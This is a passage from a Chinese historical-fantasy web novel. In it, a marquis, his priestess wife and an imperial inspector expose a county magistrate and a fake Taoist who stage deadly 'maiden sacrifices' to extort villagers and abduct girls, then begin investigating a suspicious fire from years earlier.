何立骅欣然一笑,“侯爷说的不错。出门在外,身份都是自己给的。左右我等在嘉礼县就查访几日,那县令必不敢忤逆我们。” “他必然不敢。”慕怀瑾接口道:“因为他在嘉礼县所做之事,够将他杀头了。” “哦?侯爷都知道些什么?”何立骅来了兴趣。 徐莞与宋玉卿也好奇地望向他。 慕怀瑾慢慢解释道:“听闻在甘州的一些友商说,嘉礼县自十几年前的山火后,便成了一座鬼城。县中诡事频发。 因而如今的县令请了一位自称是太冲天师的道士,在县内讲道做法。 以请天师做法庇佑的名义,每月向县内各家各户收取一两银子。 并且每年都要在县民中选出一位即将及笄的女子,作为圣女献祭给大罗金仙,以求保佑嘉礼县太平。而献祭的方式,便是将那名女子当众活活烧死。” “什么!竟有此等残忍之事!”宋玉卿惊呼一声,面露心痛不忍之色。 徐莞亦下颌紧绷,愤恨道:“什么太冲天师,搜刮民脂还不够,竟还要毁女儿家的性命。我看他们就是邪魔歪道!” “夫人所言极是。那县令与妖道勾结中饱私囊,令嘉礼县百姓苦不堪言。但谁若是敢向甘州太守上报,都会被县令追回杀害。” 何立骅听后亦蹙眉义愤填膺,“我盛国境内竟有此等伤天害民之事,简直乃奇耻大辱。那种畜牲,千刀万剐死不足惜!” 徐莞咽下一口气,沉声道:“既然让本观主得知了此事,我必不会坐视不理。等到了嘉礼县,我就去会会那天师,同时给县令送一份大礼。” 话毕,她的唇角弯起一抹耐人寻味的弧度,眼神也渐渐深了。 慕怀瑾与何立骅等人也暗暗点头,做好了肃清嘉礼县的准备。 === 在慕怀瑾等人赶往嘉礼县的路上,流星又被卫颐叫去了府上。 “黑子,那晚的行动为何会失手?” 卫颐依旧坐在阵法中央的团蒲上,静静望着一身黑色夜行衣的流星,面上虽无分毫愠色,但出口的语声却令人不寒而栗。 流星即刻单膝跪地,双手抱拳低头请罪,“属下无能,请大人责罚!” “责罚?”卫颐意味不明道:“是该责罚责罚你了。否则你都要忘了自己是谁,忘了你的仇人是谁!” 最后一句自卫颐口中霍然喊出,令流星蓦地一震,猛然抬起头来望向卫颐。 但见卫颐已从团蒲上站了起来,一手臂自然弯曲着,拖着纯白衣袍长长的下摆,一步步向他走来。 “黑子,你还记得你父母是被谁杀害的吗?” 流星极快地垂下眼眸,额角渐渐渗出一层细汗,“属下记得。是老永嘉侯,慕怀瑾…和鄞玄。” 卫颐昂首绕着流星慢慢踱步,自顾自道:“他们当年带兵冲进你家所在的村子,骑着高大的战马。 战马的铁蹄踢翻了沿路的小摊,踏碎了一切桌椅器皿,也一脚踏在你年仅三岁的弟弟,小小的身躯上。 你的爹娘想扑上去救,却被周围的士兵拦住,以为你爹娘是敌国奸细,想要谋害老永嘉侯和定北王。于是,当街将你爹娘杀害。 这些你都忘了吗!” 卫颐吼罢,流星即刻喊道:“属下不曾忘记!当年的一幕幕,属下皆记得一清二楚,从不敢忘记!” 小时候爹娘与弟弟惨死的一幕幕,一直深深烙印在流星的心底,每每想起,总会令他痛不欲生。心中的恨意,也熊熊涌起。 带着这种仇恨,才让年少的他有了活下去的目标。 第339章 339.嘉礼县祭祀 带着这种仇恨,才让年少的流星有了活下去的目标。 但随着岁月流逝,流星一点点长大,慢慢地,他意识到卫颐虽救了他的命,但也在利用他的仇恨为自己牟利。 而在与鄞玄多年的相处中,他也渐渐明白,当年的悲剧,并不是鄞玄造成的。 可重情义的他,也不能无视卫颐的救命及培养之恩,只得一面为卫颐做事,一面又尽量不伤害鄞玄。 双方对峙之下,流星夹在中间,很难维持平衡,每每都让他陷入两难境地,得罪哪一方都是他伤不起的。 可事已至此,他无力改变,只得独自一人承受这煎熬。 而每每他显露出一点不服从卫颐的迹象时,卫颐都会将当年他爹娘弟弟惨死时的情况,拿出来再说一遍给他听,试图唤起他内心的仇恨。 这一招确实很有效,但他见到鄞玄后又会不忍心,再次回到那种纠结的状态,让自己的心被反复撕扯。 但为了不让卫颐起疑,他还是还是大声说自己没忘。 卫颐猛地侧过身,眸光犀利望向流星,“你说不曾忘记?那你昨晚为何出声提醒定北王,还提醒了他两次?!” 流星心内一紧! 他知道!他竟什么都知道!甚至比那些身处庭院中之人,知道得还清楚! 流星猝然俯身,重重在地上磕头,“属下该死!是属下一时糊涂,做了不该做之事。属下知错,任凭大人处置!” 卫颐行至流星身前,微微弯身,伸手扭住他的下巴,往上一抬,制止了他磕头的动作,但他的额头还是已磕出了一片红印。 卫颐低着头,心疼地望着流星,好像望着向自己认错的孩子,柔声道: “黑子,你这回真是糊涂。而你从什么时候开始糊涂的呢?我觉得是从你回京之后,认识了那个名叫朱雀的姑娘开始,你就变得优柔了、不忍了,甚至不听我的话了……” 流星旋即焦急喊道:“大人!此事与朱雀无关,求您不要为难她!” 卫颐轻啧一声,不屑道:“我怎会为难一个小姑娘?今日命你来见我,就是想提醒你不要忘了你的仇人。我们的大业还未成,莫要被儿女情长牵绊了脚步。 待大事一成,不要说一个马朱雀,就算是你找十个姑娘伺候你,我都不会说一个字。 重点是,你只要助我完成大业,我便给你机会,让你能亲自手刃仇人,还能让你自由。” 卫颐将手轻轻放在他的肩上,流星感觉到他的手没带任何灵力与内力,才终于放下心来。 若是忤逆卫颐的话,流星根本活不到今日。他身边的冷锋、朱雀等人,也会一个个因他而死。 “大人放心,属下没有忘记。属下一定助大人实现大业!” 卫颐满意地点点头,收回手直起身,“好,记住你今日说的话。下回再有机会刺杀鄞玄和慕怀瑾时,你可千万别再出差错。” “属下谨遵大人之命!” === 经过两天一夜的赶路,在第二日傍晚时分,载着慕何两家人的马车,终于抵达了甘州嘉礼县城。 这个建在西北黄土之地的小城,气候偏干,早晚与午时气温差异大。 五月时节,嘉礼县午时已有些许炎热,而早晚仍旧十分凉爽。 马车进入嘉礼县城时,已是傍晚时分。一轮橘红夕阳,伴着漫天红霞,正要从西面落下。 五人坐在马车里,掀起车帘向外望去。但见外面这条街道还算宽敞,但街道两侧的铺面却大多关闭空置。 整条街道上未见多少百姓,寥寥数间还开着的铺子,也人迹萧条。 北风将地上的黄土吹起,漫天黄土弥漫在空中,每个人的眼前都好似蒙上了一层黄色的滤镜。 就连坐在马车上的几人,都感到黄土和灰尘扑面而来,呛得他们连忙捂住口鼻,喉咙中一阵干涩。 而在漫天黄土中,还夹杂着一些被风吹起的黄色纸屑,仔细看去,竟是符纸的碎片。 再向沿街店铺和房屋处望去,窗上皆贴着符纸,门框与窗框上还挂着各式各样的辟邪物件,细看之下令人不寒而栗。 “这条街就是嘉礼县的主街?怎会如此萧条?”宋玉卿将儿子抱在怀中,另一手捂着他的口鼻问道。 “对。”慕怀瑾解释道:“嘉礼县本就是西北贫困县。那场大火过后,整个县城几乎都化为焦土。我们如今看到的县城,皆是十几年前重新建成的。 而大火之后,嘉礼县便不剩多少百姓了。如今这些百姓,大多都是从发生战乱之地流转来的。所以即使是县城的主街,也无多少商铺与百姓。” “原来如此。” 慕怀瑾侧头向徐菀问道:“菀菀,你感觉到什么了吗?” 徐菀收回目光点点头,“嗯,还未进嘉礼县城,我就感觉到这里的怨气了。此地至少盘踞着上百个冤魂。 若普通人常居于此地,即使未撞邪,也会被它们的阴气所影响,致使体虚羸弱易患病。” “咦,这些人皆往那边跑是去作甚?”何立骅望着车窗外,忽然咦了一声。 其他三人皆向外望去,但见原本空旷的街道上,忽然多了许多百姓。 原来这些百姓皆由各个巷子跑出,汇聚在县城主街上,一同朝着一个方向快步而去。 何立骅立即命他的一名侍从下车去询问。 少倾,侍从返回车边,在车窗外对他们回道:“大人,这些百姓说,他们要去前方的圣午门观看驱邪仪式。” “驱邪仪式?难道是一年一度用圣女祭祀的仪式?” “应该是。”慕怀瑾答道。 徐菀的面色沉了下去,“走,我们也去看看。” 马车又往前驶了一段,便因聚集的百姓太多再也驶不动了。几人只好下车同百姓们一起步行往前走。 终于来到圣午门下,天色也快黑尽。城楼下点起无数火把,照亮了空地上搭起了一座高台。 高台上,一名身穿道袍的中年男子,正手持拂尘挺直而立,应该就是那名妖道。 第340章 340.烧死圣女 高台上,一名身穿道袍的中年男子,正手持拂尘挺直而立,应该就是那名妖道。 高台四周还立着十几名穿着道士服、身强力壮的男子。高台下方一圈也有官兵看守。 此时,十几名官兵正站在刺钉拒马之后,随时警戒着防止人群越过拒马闹事。 而在高台上方,还有一座由柴火和荆棘堆砌的柴堆。柴堆上放着一架木棺材。想必待会儿祭祀圣女,就要将少女关进这棺材中,再放火烧死。 待一切准备就绪,那名妖道便开始他的妖言惑众。 “各位嘉礼县的县民们,今日是咱们县一年一度的驱邪大典。曲县令特命贫道来主持今年的大典。正是因曲县令的明智治理,咱们县才能有今日的安宁富足,广大县民才得以安居乐业...” 这妖道叨叨了半晌,无不是在对县令歌功颂德,以及褒奖自己道法高强,暗暗威胁百姓只有服从他们,才能过上好日子。 一番蛊惑带威胁的演讲结束,妖道便与高台上的道士一起做起法来。 徐菀在台下仅看了一眼,便知晓他们都是一群骗子,那做法仪式根本就是群魔乱舞。 接下来,便是驱邪仪式最重要的部分——献祭圣女。 此时天已黑尽,高台周围的火把将这片空地映照得亮如白昼,也照亮了台下每个县民的脸。 这时,妖道向手下徒弟命令,将今年祭祀的圣女请上来。 “来人,呈上圣女,向大罗金仙上供!” 高台下立时响起一阵哭喊声,“不要啊!求求天师放过我女儿吧!她还没有及笄。求您放过她吧!” 徐莞等人侧头望去,但见一对中年男女正扒在刺钉马拒后凄惨地哭喊着想要往前冲。 但马拒后的官兵立即抽出大刀对准他们,厉声喝道:“后退!不准闹事!否则休怪刀剑无眼!” 大刀长剑一亮出,骚动的人群便倏然静了下来,不敢再轻易往前走。 就在这时,一位妖道的弟子忽然跑上高台慌乱喊道:“天师!天师不好了!圣女不见了!” 台上台下众人闻之,皆是一惊。 “为何会不见了!”高台上妖道大怒,“你们都是干什么吃的!一个小姑娘都看不好!快去把她抓回来!” “是!” 而台下的女孩父母激动地相视一眼,面上皆露出绝处逢生的喜悦。 片刻后,一名官员打扮的男子快步走上高台,向那位太冲天师道: “天师,祭祀的时辰快到了。若是找不回那位姑娘,您看是不是可以另寻一位圣女?” 那妖道正急得焦头烂额,听这位大人的提议后,果然灵光一现,这就准备在人群中重新挑一名圣女。 遂,妖道微微眯起眼,借着四周的火光向台下望去。 只见下方聚集的县民,大多都是年长之人或是稚嫩孩童,很少有二十左右的年轻男女。 正在妖道一筹莫展之际,忽然在人群中望见一样貌出众的妙龄少女。 那姑娘年约十七八,脸庞娇小白皙,一头黑发在火光的映照下,闪着淡淡的金光。 虽说在黑夜中她的五官看得不是那么真切,但仅从大致轮廓和模糊身影便可推知,她绝对是个难得一见美人儿,美得十分出众。 只是…她应该不是嘉礼县人,不知与她同行的人有多少,好不好对付? 妖道再将视线移向她的身边,发现她身边仅有一位稍微年长的男子,八成是她爹。 若是她身旁只有她爹的话……应该并无大碍。 于是妖道心中一拍板,就选她了! “来人啊!将那位穿着蓝裳的女子请上来!” 妖道大手一指,所有人的目光竟都向着徐莞的方向望了过来。 何立骅与宋玉卿霎时一怔,“那道士这是何意?要让慕夫人做圣女?” 而处于众目睽睽之下的徐莞,却依然泰然自若,嘴角甚至还带着一抹笑。 慕怀瑾亦微微蹙眉担忧道:“菀菀,你要去做圣女?你有把握吗?” 徐莞向他挑眉一笑,“你们放心吧。圣女绝对不会是被烧死那么简单。 不入虎穴焉得虎子。我便亲自去探探,他们这葫芦里卖的什么药。” 在几人说话间,几名官兵已穿过人群来到了徐莞等人附近。 “姑娘,你是我们的新圣女,请跟我等上去。”其中一名官兵向徐莞道。 徐莞装作毫不知情,天真地问:“圣女是什么?做圣女会受人爱戴吗?” 官兵轻蔑地笑了笑,“对,圣女受我们县民的爱戴。成为圣女有你意想不到的好处。” 随后,官兵便要来带走徐莞。慕怀瑾顺势开演,“你们要做什么!为何要带走我女儿!” 听到“女儿”二字,徐莞的额上顿时出现几个问号。 “???”慕怀瑾这是占我便宜?想让我喊他爹? 官兵即刻拔剑威胁,“再多废话就割了你的喉咙!” 慕怀瑾即刻装出一副惊惧的表情,不敢再上前,继续沉浸在自己的角色中,“菀菀,你只要喊爹一声,爹就为你拼命!” 徐莞:“……”都什么时候了还不忘占我便宜…… 好吧,既然你这么想当我爹,我便遂了你的愿。今后可别嫌别人说你年龄大,都能做我爹了。 思及此,徐莞腹黑一笑,向他喊了一句,“爹!别担心我。女儿会平安回来的。” 何立骅与宋玉卿也在一旁看得心惊肉跳,又为他们二人夸张的演技有些懵。 周围的县民们则用一种同情悲悯的目光望着他们,又不敢上前阻拦,只好为官兵们让出一条路,让他们将徐莞带走。 徐莞被官兵们带上了高台,来到妖道面前。 妖道望着她的绝世容颜双眼泛光,口水差点流下来。 但下一刻立马换上一副心痛怜惜的表情,“这位姑娘,作为圣女,你马上就要去陪伴大罗金仙。你放心,你去陪伴大罗金仙后,你的爹娘会得到一笔银子,够他们下半辈子过活了。” 徐莞装傻道:“什么大罗金仙?我要如何去陪伴?你们什么意思!” 妖道再未对她多说,直接向自己的弟子吩咐道:“来人,将圣女请进去!” 第341章 341.圣女祭祀的真相 妖道再未对她多说,直接向自己的弟子吩咐道:“来人,将圣女请进去!” 两名身着道服的男子,便上前一左一右将徐莞的手臂擒住,押着她往柴堆走去。 这时,妖道面向下方县民,高举双手朗声道:“感谢圣女的深明大义,为我们嘉礼县百姓带来一年的祥和安宁。我们全县老百姓都会记得你一辈子。” 而那边的徐莞已被人塞进了柴堆上准备好的棺材里,惊恐地叫着,“不!不要啊!不要去陪什么大罗金仙!爹娘救救我啊!” 下方百姓虽同情这个外乡女子,但因十几年来皆是如此,又有官兵持械阻挡,他们也都不敢为之出头。 唯有慕怀瑾还在激动呼喊着,同时暗暗嘱咐何立骅将他拉住... 不过,在亲眼望见柴堆被点燃的那一刻,慕怀瑾还是不自觉地心内一紧。 就算心知徐菀定有办法逃脱,这种生理性反应还是无法避免。 何立骅夫妇也担忧地望着熊熊燃烧的柴堆,低声问道:“侯爷,慕夫人真的不会有事吗?” 慕怀瑾面上夸张的神情,此时已消失殆尽,取而代之的则是一脸深沉,与眉宇间隐隐的焦心。 “应该没事,我很相信她。”慕怀瑾顿了顿,又道:“不过此前十几年被选为圣女的姑娘,没有菀菀这样的本事。等待着她们的命运,不知是什么...” 话音落下,何立骅的表情也沉了下去。宋玉卿则是低头弯身将他们的儿子抱在怀中,用手挡住他的眼睛,不让他看到这惨绝人寰的一幕。 因为他们明白,那些姑娘要么是被活活烧死,要么是被那妖道用了什么法子转移到别处。 而这些悲剧背后的罪魁祸首,便是吃人的官吏,愚昧的百姓,以及十四年前的那场大火... 祭祀高台上的柴堆,火势越烧越旺。 熊熊火光将圣午门下的这片空地,映照得一片火红,也映红了台下每位县民的眼。 而棺材中徐菀的声音,也渐渐消失在烈火噼啪声之中。 因为此时的徐菀,早已不在那熊熊燃烧的柴堆里了。 一炷香的功夫之前,她被塞进柴堆上的棺材里。棺材盖盖上后,她便在里面躺了一会儿,却发现并没有窒息的感觉。 侧身一看才知,原来在这棺材两侧,还留有两个孔洞,能让这棺材里空气流通。 奇怪,若是普通棺材怎可能留有孔洞。这分明是为了让躺在其中的姑娘,能够正常呼吸而特意留的。 如此说来,那些被选为圣女的姑娘,果真被他们转移走了吗? 正想着,徐菀渐渐感觉到周围温度升高,且有烟雾从孔洞中钻了进来。 看来外面的人已点燃了柴堆,接下来只要屏住呼吸,静静等待便可。 果不其然,下一瞬,徐菀便感觉自己所处的棺材猛地向下坠了下去,咚的一声掉在了下方。 紧接着,便有两根细管从棺材两侧的孔洞中伸了进来,从细管中又吹出一些烟雾,在棺材中弥漫。 徐菀仅闻了一瞬,便立即屏住呼吸。 不好!这是迷烟! 旋即,她默念咒语在自己周身造出一道结界,将迷烟隔绝在外。 又过了一会儿,她便听到外面有人的说话声。 “时候差不多了,她应该已经昏了吧?” “应该是。打开瞧瞧吧。” 徐菀立刻闭上眼装晕,随后棺材盖一开,明亮的火光霎时映照在她的脸上。 “哇,这姑娘长得真不错啊。曲大人今年可有艳福了。” 曲大人,难道就是嘉礼县的县令? 思及此,徐菀感觉到一根手指将将触碰到她的脸,就被猝然打开。 “乱碰什么呢!手还想不想要了?这是曲大人的私产。要是少了一根头发,都要唯我们是问!” “行行行,我不碰行了吧。咱们快走吧,赶紧把她送大人府上去。” 话毕,两名官兵便将徐菀从棺材里抱了出来,用一张裹尸布一裹,便扛着她上了一辆马车。 至此,徐菀已大致猜到了用圣女祭祀大罗金仙的真相。 慕怀瑾他们有我给的那件法器,应该能很快找到我。到时候他们便当场将此地的县令抓个现行,看他还如何抵赖! 嘉礼县本就不大,因此一盏茶的功夫,马车便从圣午门驶到了县令府。 两名官兵将徐菀从车上抱下来,交给县令府的下人。下人再将徐菀抬到后院的一间房里,将她放在床上便退了出去。 少倾,徐菀听周围没了声音,便缓缓睁开眼,见自己正身处一间点着红烛的小屋子里。 看房中的装饰,像是女子的闺房,又似成亲当晚的喜屋,怎么看都有种暧昧靡靡之感。 就在她准备起身探查一番时,屋外传来了一些动静。 “圣女已经在里面了?”一个尖酸油腻的男声在屋外响起。 “是,老爷。听说今年的圣女是外乡来的,长得特别俊呢!” “外乡来的?背景查过了吗?”油腻的嗓音多了一丝警觉。 “查过了。她是和她爹一块儿来探亲的。已经给了她爹一笔银子,她爹闹了一阵也就走了。” 油腻嗓音这才放下心来,“那就好。行,你带着人在外面等着。要是情况不对我喊你们。” “是,老爷!” 二人的话音落下,房门便吱呀一声开了。 一个脚步声渐渐向床边而来,同时伴随着一股刺鼻的酒味,和胖子身上特有的那种汗臭味,一同飘了过来。 徐菀知道是时候醒过来了,于是眨了眨眼缓缓睁开,映入眼帘的果然是一张满面油光的大脸,和油桶般的大肚腩。 “啊!”徐菀惊叫一声,装出惊恐的表情,撑着手臂从床上坐了起来,“这...这是什么地方?你是谁?” 油腻男舔着嘴唇,面带猥琐的笑,向床边一点点靠了过来。 “小美人别怕。这里是县令府,我是嘉礼县的县令。你只要听我的话,没人敢欺负你。” “你是县令?他们不是说要把我献给大罗金仙吗?” “对,我就是大罗金仙啊哈哈哈...”曲县令抬头狂笑。 第342章 342. 沆瀣一气 徐菀怒道:“原来是你和那个妖道串通好的。之前那些被选为圣女的姑娘,是不是也像这样被换下来送到了你的府上?” “真是个聪明的姑娘。”曲县令弯身,伸出肥短的手向徐菀的面颊摸去,“如今你知道也无所谓了,反正你这辈子也出不去了。 乖乖听本县令的话,我保你荣华富贵衣食无忧。但要是不听话...我就真的送你去见大罗金仙喽!” 曲县令话语中满满的威胁,丝毫未吓到徐菀,反而令她愈加镇定。 “呵。你以为这些年来你在嘉礼县做的这些事无人知晓吗?” “知晓又如何?甘州州府的大老爷们,我都已经打点好了。其他地方的大人嘛,我这嘉礼县天高皇帝远,他们也没心思管我。 在这里,我就是天!你今晚再说什么也没用。乖乖在这儿伺候我吧。若是把我伺候得高兴了,本县令便多赐你一些珠宝首饰,可好?” 曲县令奸笑着,猛地朝徐莞扑了过去。 徐莞灵巧一翻身,便从床上站了起来,转身便看到曲县令如一头大肥猪,面朝下栽倒在床上,两条腿扑腾着,口中哎呦乱叫。 “哎呦!你…你怎么能起来?”曲县令扭动粗壮的腰将自己翻过来,难以置信地望着徐莞。 往年他们给圣女用的迷药,可让那些姑娘三四日都浑身虚弱无力。而她怎么这会儿就站起来了?! 徐莞立在床边,居高临下俯视着他,轻蔑道:“哼,你的所作所为,巡抚大人早已知晓。今日便是你伏法之日!” “巡抚大人?!”曲县令仰天长笑,“哈哈哈巡抚大人怎会来我这鸟不拉屎的小镇?傻姑娘,编故事也要编的像样点啊。” “我可没骗你。巡抚大人稍后便到。现下我便将你先行拿下!” 徐莞说罢,从小荷包中取出真言套索,弯身扭住曲县令的胳膊,疼得他一声尖嚎。 “嗷!来人啊!赶紧进来把这女人给我抓住!” 曲县令喊罢,屋外确实响起了一些动静,但却是惊慌失措的惊呼,以及打斗之下的惨叫。 曲县令一听便变了脸色,“外面怎么回事!” 话音方落,房门便被人一脚踹开,慕怀瑾手持长剑,面容肃然跨入屋内。 他的剑上染了血,硬朗冷峻的面颊上也溅上了点点血花,显得他整个人愈加凌厉肃杀。 “菀菀!”慕怀瑾向徐莞唤道,语声中透出明显的关切担忧,“你怎么样?”随后快步来到她身边。 徐莞摇摇头,向他盈盈一笑,“我没事儿。你们来的真快。是跟着纸鹤找到这里的吧?” 原来,在徐莞被官兵带走之前,给了慕怀瑾一只纸鹤。那只纸鹤被徐莞施过法,能带着他们找到徐莞的位置。 “对。幸好有那只纸鹤,否则我们可能会被那妖道带到别处去了。” 曲县令还未反应过来,又有几人气势汹汹冲了进来。原来是何立骅与他的三名护卫紧随慕怀瑾之后赶来。 何立骅手持巡抚令牌,将令牌举至曲县令面前,义正言辞厉声道: “大胆狂徒,区区县令竟敢在盛国境内以巫蛊之名,行敛财营私之事。今日人证物证皆在,本官便将你绳之以法!” 曲县令一看到那令牌,顷刻间懵了! 他不敢相信竟然真会有巡抚出现在这个偏远的小县城。 可此人的衣着打扮与长相气度,确实像京城那边的高官权贵,曲县令又不敢不信。 若他真是巡抚,自己要是有所怠慢,可就真的玩完了! 于是,曲县令一个咕噜从床上滚了下来,跪伏在何立骅脚边,边哭边求饶,“巡…巡抚大人,小的冤枉啊!都是…都是那个妖道威胁我这么做的……” “他威胁你?”何立骅厉声反问,“你乃一县之长,区区一个神棍能威胁你?那神棍已经招了,说是你威胁的他。你们俩当面对峙吧!” 话音落下,何立骅带来的一名赵侍从,便自屋外提溜着一个人的后颈,将其扔进了屋里。 “哎呦!”那人穿着道袍,在地上滚了一圈滚到何立骅慕怀瑾等人脚边,跟曲县令撞在一起,正是那名妖道。 “你们也将这妖道制服了?不愧是巡抚大人。”徐莞向他们竖起大拇指。 何立骅扯扯嘴角,露出只有他们懂得的笑,“方才你被官兵带走后,我便派我的人前去高台下探查,发现那高台下是空的。 之后我的人就和那些官兵在下面打了起来。打斗间高台坍塌,火堆塌了下来,其中不见棺材的影子,县民们才知被骗了。 于是我们几人便与县民们一起,将这妖道和那些官兵全都制服。在逼问之下,这妖道就说出了他是为县令办事的。” 慕怀瑾接口向徐莞道:“最后我们赶来县令府,还好来的及时,你没出事。” 那妖道也反应过来,从地上爬起身向何立骅重重磕头,“大人饶命!是曲县令指使我这么做的!否则我一个小道士哪儿敢做这种事啊。” “你…你给我闭嘴!”曲县令朝他一脚踹过去,“这主意分明是你提出来的。每年从县民那里收的银钱你拿了多少?你这死道士!” 那妖道方才差点被县民打死,此时怒气也上来了,敢大声对县令吼道:“我拿了多少你不知道吗!大头都被你拿了,我就拿个零头!如今还要替你背锅,我才不干呢!” 何立骅即刻出声阻止,“够了!都给我停下!” 厉喝声响起,曲县令和假道士齐齐噤声。 何立骅负手踱步到他们身边,居高临下怒视着二人,气势十足,颇有一品大员的风范。 “你们二人狼狈为奸,沆瀣一气。尤其是你曲县令,你搜刮民脂民膏中饱私囊,还以鬼神名义强抢民女,令百姓叫苦不迭。之前那些被你骗来的姑娘呢?你将她们关在哪里了?” 就在这时,又一名张侍从自屋外跳了进来,向何立骅禀告道:“大人,属下在其中一个院落里发现了四位姑娘。她们都是前些年被妖道骗来这里,又被县令囚禁起来的。” 第343章 343.山火有蹊跷 “她们都是前些年被妖道骗来这里,又被县令囚禁起来的。” “好。只有四位吗?其他姑娘呢?”徐菀问。 曲县令哆嗦着不敢说话,张侍从便刷地拔出剑,指向门口跪着的管家,“说!其他被骗来的姑娘呢?” 管家哇地叫了一声,吓得失声大喊,“她...她们都死啦!那些不听话的姑娘,要么是被县令下令淹死,要么是被活活饿死,然后...然后再将她们的尸体烧了...” 曲县令霎时将自己的鞋子扒下来,向管家砸去,“混账东西!你也背叛我!你也敢背叛我!” 立在何立骅身旁的李侍从刷地拔出长剑,放在曲县令颈旁,“闭嘴!巡抚大人让你说话了吗!” 曲县令即刻嗷的一声闭嘴上,再也不敢多说一个字,吓得裤裆都尿湿了。 何立骅向张侍从道:“先将那些姑娘解救出来,待我将他们二人审讯完毕,便派人送她们回家。” “是!” 张侍从走后,何立骅示意赵侍从将他们二人绑起来。之后请慕怀瑾和徐菀坐下,与他一同审问曲县令和假道士。 三人坐下后,何立骅开口道:“你们二人所做之事人证物证皆齐,我定会将其整理后上报给皇上。不过在此之前,我还可你们一个戴罪立功的机会。” “什么机会?” “大人请说。小的能办到的一定配合!” 何立骅与慕徐二人交换了个眼神,而后沉下语调说:“不瞒你说,本官此次前来嘉礼县,是奉皇上之命前来调查十四年前嘉礼县山火一事。关于那件事,你们知道多少?” 曲县令与妖道先是愣了愣,而后道:“嘉礼县山火?大人,您不是都说了是山火吗?还需要调查些什么?” 妖道亦接口道:“大人,小的是十年前才到此地的,不清楚什么山火。只听说此地十多年前被大火烧成一片废墟。 来此地之后小的确实发现此地阴气极重,于是就在县里帮人看相驱邪。 后来曲县令找到我,让我帮他利用县民对鬼神的敬畏,行敛财与偷换民女之事。至于那火灾的细节,小的是真的一概不知啊。” 徐菀眉梢微挑,“你还能发现此地有阴气?你当真懂道术?” 假道士连忙俯首道:“回姑娘,小的只是早年跟一位云游的老道学过些皮毛。要说捉鬼驱邪的真本事,小的可没有啊。” 慕怀瑾何立骅见这假道士不像在说假话,于是便将矛头对准曲县令。 “你呢?作为此地县令,你都知道些什么?若是你能提供些有用的线索,我可劝皇上留你一条命。” 曲县令一听立时打起精神,为了活命怎么也得说出个一二三来。 “大人,我是在大火之后一年来的嘉礼县。当时这里确实是一片废墟,我便用州府拨的款,组织劳工重建嘉礼县。 后来重建款用完了,州府又不再给银子,我还自己贴了几百两才将县城大致建好。 对于那场大火,我只知道是因县南面的赤炎山着火才引燃了县城。那时好像是九月...” “九月?”慕怀瑾敏锐地捕捉到了疑点,“九月份甘州的夏季已过去了吧。按理说不应是易起山火的季节。” 曲县令听后也疑惑地蹙起了眉,“是啊。但那县志上确实写的是九月。我也不明白是怎么回事。” 何立骅也意识到了不对,即刻命令道:“嘉礼县县志和卷宗都在何处?全都给我拿过来。” 随后的这一晚,嘉礼县自十四年前大火以后的所有县志及卷宗,都被搬到县令书房,由何立骅与慕怀瑾仔细查看。 曲县令与假道士则被软禁在了县令府。 府上的下人和县里的官兵,见县令都被关起来了,又听管家说来的两位大人确实是巡抚,皆吓得无一人敢出头。 况且平日里曲县令也不把他们当人看,他们长期以来也恨透了他那丧尽天良的作为。 如今有京城的大官空降至此,治治这恶霸县令,简直是一大喜事,他们支持还来不及呢。 徐莞则先行回宋玉卿与儿子何宏彦所住的客栈,陪她们一同休息的同时,保护她们的安全。 翌日一早,徐莞与宋玉卿便起身朝县令府而去。 当她们行至县令府书房外时竟发现,慕怀瑾与何立骅,竟还在埋头苦读。 “怀瑾,何大人,你们就这样看了一夜?找到什么线索了吗?”徐宋两人一齐走进书房问道。 何立骅阖上手中最后一本卷宗,疲惫地摇摇头,“这些卷宗里只记载了当年甘州大旱,朝廷拨款一百万两白银,命我爹前来疏解旱灾。 我爹来此广发赈灾粮,兴修水渠,将茂河之水引来,又凿井聚水,历时三个月,终将旱情控制。 但甘州当年仍旧颗粒无收,且旱死饿死之人高达一千多人。” 坐在窗边的慕怀瑾将手中的县志翻到了最后几页,边看边说:“我倒是发现了一些可疑之处。 此地的县志记载,赤炎山呈东西走向,六至八月的旱季容易起山火。且山火一般从南面的灌木丛之处开始烧,所以二十年来尽管发生过几次山火,但都未影响到嘉礼县。 但当年的卷宗记载,十四年前的山火是从北面烧起的,这才蔓延到了嘉礼县,直至将整个县城化成一片火海。” 与此同时,何立骅与徐莞都来到了慕怀瑾身边,看着那县志道:“如此说来,那场山火果然有些蹊跷。” “我们要不要去赤炎山看看?”立在三尺之外的宋玉卿提议道:“我们此次前来不就是为了寻找嘉礼县大火的起因。既然如今发现了蹊跷,我们应该过去看看才是。” 众人闻言先是一愣,而后徐莞有些意外地想,这位何夫人还真是正直,竟真想着找出当年真相。 她就不怕自己夫君只是做做样子,并不是真心想找出自己父亲犯罪的证据吗? 但有人提议总归是好的。徐莞即刻跟上,“何夫人说的不错。哪怕只有分毫线索,我们也不能放过。” 第344章 344.偷工减料的水渠 慕怀瑾附议道:“我也同意。左右我们要将事情查清才能给那小鬼一个交待。今日便走一趟赤炎山吧。” 何立骅原本有些犹豫,见他们皆想法一致,便也点点头,“好,那我们即刻便启程吧。” 为保险起见,四人决定带着曲县令一同去赤炎山。留赵侍从和张侍从留在县令府,看着假道士和管家等下人。 随后,几人回到客栈。慕怀瑾与何立骅吃了些早点,又小憩了片刻。 宋玉卿不放心儿子何宏彦与自己分开,又想亲自去赤炎山看看,于是决定将何宏彦也带上。 之后由李侍从驾车,一行六人坐马车向赤炎山而去。 嘉礼县城距赤炎山还有二十多里路,乘马车需一个多时辰。 出了县城后,一路上入目处皆是一片黄土荒凉之景。每隔一段都能见到一口水井。 何立骅兴致勃勃道:“这些井就是当年我爹赈灾时挖的吧?他还兴修了水渠,将茂河之水引来此地,这才缓解了嘉礼县的旱情。” 说着,何立骅向曲县令问:“那道水渠在何处?” “就在前方不远处。不过...”曲县令答道,却又突然停了下来,小心地观察了一眼何立骅的脸色。 “不过什么?但说无妨。” “好。”曲县令应了一声,老实道:“不过那水渠用了不到两年就坍塌了,这些井没过多久自然也就干了,从而成了枯井。” 何立骅:“!!!” “为何会这样!我国兴修的水渠一般不是都能用十年以上吗?为何会只用了两年就坍塌?” 曲县令十分为难,“这个嘛...” 曲县令已从他们的对话间得知,十四年前负责赈灾的何钦将军,正是这位大人的亲爹。 若是他说出自己的推测,绝对会对何钦大人不利。面前的这位何大人若是恼了该怎么办。 慕怀瑾见曲县令面露难色,已大致猜到了水渠坍塌的原因。 “水渠坍塌,多是因气候与质量的原因。而此水渠用了不到两年便坍塌,一定是出了质量问题。或许有偷工减料、偷梁换柱之嫌。” 